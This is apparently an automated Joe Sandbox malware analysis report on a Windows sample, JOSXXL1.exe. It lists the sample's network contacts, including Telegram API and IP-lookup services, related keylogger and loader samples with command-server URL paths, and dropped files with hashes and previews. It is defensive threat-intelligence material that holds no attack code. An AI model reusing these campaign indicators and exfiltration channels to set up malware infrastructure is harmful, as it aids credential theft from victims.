https://reallyfreegeoip.org/xml/	JOSXXL1.exe, 00000004.00000002.2971397294.000000003749B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
142.250.181.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
142.250.185.238	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542950
Start date and time:	2024-10-26 23:55:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	JOSXXL1.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/7@6/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 187 Number of non-executed functions: 130
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: JOSXXL1.exe

Simulations

Behavior and APIs

Time	Type	Description
17:57:19	API Interceptor	8330x Sleep call for process: JOSXXL1.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	SecuriteInfo.com.Trojan.Inject5.10837.16335.2292.exe	Get hash	malicious	AgentTesla	Browse
	Certificado FNMT-RCM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Justificante.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	n#U00ba 7064-2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	SOLICITUD URGENTE RFQ-05567.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://ipfox.co.uk/pages/thanks.html#RXJpay5Kb2huc29uQGFnLnN0YXRlLm1uLnVz	Get hash	malicious	Unknown	Browse
	PILNE ZAPYTANIE RFQ-05567-2024.10.25.vbs	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Factura n#U00baB-2542.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Scan_Rev 20220731_PO&OC#88SU7782743882874_PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
188.114.96.3	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	7950COPY.exe	Get hash	malicious	FormBook	Browse	www.globaltrend.xyz/b2h2/
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/Gitmx
	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	www.zonguldakescortg.xyz/483l/
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.rtpngk.xyz/876i/
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.fnsds.org/
	rPedidodecompra__PO20441__ARIMComponentes.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	dddotx.shop/Mine/PWS/fre.php
	Orden de Compra No. 78986756565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/nwtkd
	Doc 784-01965670.exe	Get hash	malicious	FormBook	Browse	www.launchdreamidea.xyz/bd77/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	dekont_001.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Bank transfer receipt 241015.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Certificado FNMT-RCM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Justificante.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	n#U00ba 7064-2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Factura 1-014685.pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	SOLICITUD URGENTE RFQ-05567.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PILNE ZAPYTANIE RFQ-05567-2024.10.25.vbs	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Factura n#U00baB-2542.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
checkip.dyndns.com	dekont_001.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Bank transfer receipt 241015.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Certificado FNMT-RCM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	Justificante.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	n#U00ba 7064-2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Factura 1-014685.pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	SOLICITUD URGENTE RFQ-05567.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	PILNE ZAPYTANIE RFQ-05567-2024.10.25.vbs	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Factura n#U00baB-2542.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
api.telegram.org	SecuriteInfo.com.Trojan.Inject5.10837.16335.2292.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Certificado FNMT-RCM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Justificante.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	n#U00ba 7064-2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	SOLICITUD URGENTE RFQ-05567.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://ipfox.co.uk/pages/thanks.html#RXJpay5Kb2huc29uQGFnLnN0YXRlLm1uLnVz	Get hash	malicious	Unknown	Browse	149.154.167.220
	PILNE ZAPYTANIE RFQ-05567-2024.10.25.vbs	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Factura n#U00baB-2542.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Scan_Rev 20220731_PO&OC#88SU7782743882874_PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	SecuriteInfo.com.Trojan.Inject5.10837.16335.2292.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Certificado FNMT-RCM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Justificante.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	n#U00ba 7064-2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	SOLICITUD URGENTE RFQ-05567.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://ipfox.co.uk/pages/thanks.html#RXJpay5Kb2huc29uQGFnLnN0YXRlLm1uLnVz	Get hash	malicious	Unknown	Browse	149.154.167.220
	PILNE ZAPYTANIE RFQ-05567-2024.10.25.vbs	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Factura n#U00baB-2542.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Scan_Rev 20220731_PO&OC#88SU7782743882874_PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	WINNING DILIGENCE - VESSEL PARTICULARS.doc.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	104.21.9.210
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	104.21.9.210
	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	104.21.9.210
	MHQMJCOxjl.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	172.67.161.82
	73OPQbICEW.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	172.67.161.82
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	188.114.97.3
	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	188.114.96.3
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	188.114.96.3
ORACLE-BMC-31898US	dekont_001.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	(No subject) (92).eml	Get hash	malicious	Unknown	Browse	192.29.14.118
	Factura 1-014685.pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	134.70.38.61
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	129.147.169.37
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	147.154.3.56
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	130.61.69.123
	New_Order_568330_Material_Specifications.exe	Get hash	malicious	AgentTesla, MassLogger RAT, Phoenix Stealer, RedLine, SugarDump, XWorm	Browse	158.101.44.242
	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://docs.google.com/drawings/d/1igp9x84Q_2r8qSa1YDSk9dpVvjHGWjRjQMSbSGGfj2M/preview?pli=1VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv	Get hash	malicious	Unknown	Browse	188.114.96.3
	dekont_001.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	https://docs.google.com/drawings/d/1agK-6fGF4y65hrPDNlHipoTNyumPU-yxdwKLkQWhsQI/preview?pli=1oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YE	Get hash	malicious	Unknown	Browse	188.114.96.3
	cabbage.exe	Get hash	malicious	Atlantida Stealer	Browse	188.114.96.3
	Bank transfer receipt 241015.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Certificado FNMT-RCM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Justificante.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	n#U00ba 7064-2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	WINNING DILIGENCE - VESSEL PARTICULARS.doc.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	MHQMJCOxjl.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	149.154.167.220
	73OPQbICEW.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	149.154.167.220
	MHQMJCOxjl.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	149.154.167.220
	73OPQbICEW.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	149.154.167.220
	6VTskjqyxX.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	6VTskjqyxX.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	gI1wz7QtZV.lnk	Get hash	malicious	LonePage	Browse	149.154.167.220
	Hxn7F5YIYJ.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	SecuriteInfo.com.Program.Unwanted.5510.8307.25058.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	GK059kPZ5B.exe	Get hash	malicious	Stealc	Browse	142.250.185.238 142.250.181.225
	TP77MvSzt2.exe	Get hash	malicious	Stealc	Browse	142.250.185.238 142.250.181.225
	jicQJ2cdlM.exe	Get hash	malicious	Stealc	Browse	142.250.185.238 142.250.181.225
	ae67deafb5d9386fbca3d4d728d79651daaa42eef8086.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.185.238 142.250.181.225
	w12rykWq2L.exe	Get hash	malicious	Stealc	Browse	142.250.185.238 142.250.181.225
	jWpgP22dl2.exe	Get hash	malicious	Stealc	Browse	142.250.185.238 142.250.181.225
	1GeaC4QnFy.dll	Get hash	malicious	CobaltStrike	Browse	142.250.185.238 142.250.181.225
	OyPpyRRqd8.dll	Get hash	malicious	CobaltStrike	Browse	142.250.185.238 142.250.181.225
	mCe4hBfqCT.exe	Get hash	malicious	Stealc	Browse	142.250.185.238 142.250.181.225
	H33UCslPzv.exe	Get hash	malicious	XWorm	Browse	142.250.185.238 142.250.181.225

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll	Certificado FNMT-RCM.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Produccion.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	SecuriteInfo.com.Trojan.GenericKD.74281746.21507.1551.exe	Get hash	malicious	GuLoader	Browse
	SecuriteInfo.com.Trojan.GenericKD.74281746.21507.1551.exe	Get hash	malicious	GuLoader	Browse
	UMOWA_09.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse
	UMOWA_09.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	GuLoader	Browse
	Confirmation transfer AGS # 22-0024.exe	Get hash	malicious	GuLoader	Browse
	Confirmation transfer AGS # 22-0024.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\JOSXXL1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.655335921632966
Encrypted:	false
SSDEEP:	192:eF24sihno00Wfl97nH6T2enXwWobpWBTU4VtHT7dmN35Ol9Sl:h8QIl975eXqlWBrz7YLOl9
MD5:	EE260C45E97B62A5E42F17460D406068
SHA1:	DF35F6300A03C4D3D3BD69752574426296B78695
SHA-256:	E94A1F7BCD7E0D532B660D0AF468EB3321536C3EFDCA265E61F9EC174B1AEF27
SHA-512:	A98F350D17C9057F33E5847462A87D59CBF2AAEDA7F6299B0D49BB455E484CE4660C12D2EB8C4A0D21DF523E729222BBD6C820BF25B081BC7478152515B414B3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Certificado FNMT-RCM.exe, Detection: malicious, Browse Filename: Produccion.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.GenericKD.74281746.21507.1551.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.GenericKD.74281746.21507.1551.exe, Detection: malicious, Browse Filename: UMOWA_09.BAT.exe, Detection: malicious, Browse Filename: UMOWA_09.BAT.exe, Detection: malicious, Browse Filename: Payment Advice Note_Pdf.exe, Detection: malicious, Browse Filename: Payment Advice Note_Pdf.exe, Detection: malicious, Browse Filename: Confirmation transfer AGS # 22-0024.exe, Detection: malicious, Browse Filename: Confirmation transfer AGS # 22-0024.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...]..V...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsxA532.tmp

Download File

Process:	C:\Users\user\Desktop\JOSXXL1.exe
File Type:	data
Category:	dropped
Size (bytes):	1409020
Entropy (8bit):	3.71736605454036
Encrypted:	false
SSDEEP:	12288:21P7FUCCnQvh+93/wP1zPHb5hl88oLWGk4+7PYfno+DaiIcC4:gCQZ+93/Q1zP7flyLnkEfno+DNIU
MD5:	5FACE8BE4B0588E347D791DB87BCE6E8
SHA1:	2AC3BEF878AF7119B401C1CA8EC83BF6A4EF9402
SHA-256:	8D06F457E594F4B32611FBB2E5550E7442504E2AA407B627AF49F203EBA5E843
SHA-512:	D6A59362477E13D5AF298320DCBC0F8D0ECAEC9C391855ABED4ECC69D168DD38D8F1FA5F44AE67B55EBF1771D321551CB238CB0421A4C93DDE90CD32E8328C0E
Malicious:	false
Reputation:	low
Preview:	t8......,................................7......\8..........................................................................................................................................................................................................................................G...W...........z...j...............................................................................................................................`...........U...5...J...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\indvandrings\attraavrdig\Afsvor193\stiltish.sti

Download File

Process:	C:\Users\user\Desktop\JOSXXL1.exe
File Type:	data
Category:	dropped
Size (bytes):	374900
Entropy (8bit):	2.280960262762324
Encrypted:	false
SSDEEP:	3072:bNFzfqxOSxM9xAWyQhTStOwqqWnf+3EQ+782Z5:BV6LmDpyQ9wIn8bYL3
MD5:	FD876F66CB55E8597AB2ADCB1715E24D
SHA1:	90DE8C19016E7121C2861CF748262A44F57C2DE0
SHA-256:	404E86068579D935C692F89EBB98EBA6D930A536B4833468C536F1A0273FDDE2
SHA-512:	CA8A1951D4013297A2168DB38027E8F9904838576AF4B59FAC09655F976C45966E58656038D51EBF0593A82F7A9B826276C65465CF8845FE299F7358D15F1C1C
Malicious:	false
Reputation:	low
Preview:	..................b..................................o................r.........J..................a...........................................U..B....3..........5................................<.... ..7.................J..............j.........................e...A.....W............................................................4........................................%.......V...................?..........................................................\|....'...C..#....0.....................................................'........................u ...1...............].....9..................?.........N...........................................O..............z..............V..............0...................6............/.................K.....!.....s.............%...........................:............................c.....F.........................F..0..........)..............n.....................q....V...H......................................................................

C:\Users\user\AppData\Local\indvandrings\attraavrdig\Udeladelsens.txt

Download File

Process:	C:\Users\user\Desktop\JOSXXL1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	4.310269764673079
Encrypted:	false
SSDEEP:	12:hDVKJgrLT/qUl/HHjaTaGhSdWJ2ccMFMxMALLotLn:heg3T/qUNjlG48JGmL
MD5:	4EF1859A18FB4C5B61DB725AAFE27F90
SHA1:	D31A038EA086536F22BF7D64FF099AD5D8800706
SHA-256:	D21E0CD7A7C2E95FFCAFCD23F04D2A232729F672FBB47B7D0776ABB3229FBB0B
SHA-512:	1B9C8AE8B6FDC1D1BCAA69CB748C3CBEE764573D4DDBF40DD8D307B63365650D9B85E3EA386028F8DDBE32DA5237771D6996721107EED18CBA71E20D07BB5E7E
Malicious:	false
Reputation:	low
Preview:	vacillate viklendes contemnible counterpropagandize replevining,azelate fortrydendes centrum heavenwardly misalign kokettens,signalanalyser skeformedes kyklops irredeemably filibusters unlobed fuchi unbonny tilkomnes sjapis alsine..tensive ophavsretsindehaveren ubehagene korrelaters.srinteresseomraaders brernes circumvolve nonsuit.tumbek haversacks hjrekant systemeringen russophilism labarums ogsaa.

C:\Users\user\AppData\Local\indvandrings\attraavrdig\Vandlbslov.Uni

Download File

Process:	C:\Users\user\Desktop\JOSXXL1.exe
File Type:	data
Category:	dropped
Size (bytes):	275595
Entropy (8bit):	7.754632703695257
Encrypted:	false
SSDEEP:	6144:9nidKxAdInQvWBm+qEZpNPLpG2wdJ1Nj/7wUdPHbZrhqassD2RN0DsU:gUCCnQvh+93/wP1zPHb5hl88r
MD5:	4676EBA5220757447D27571E8299B3AE
SHA1:	B3895C58A55C480C330A642175923025D47EE198
SHA-256:	88D22420602D6EC710ED98BE4651416382BD598FEC5C0A1B29FE9606189D93E7
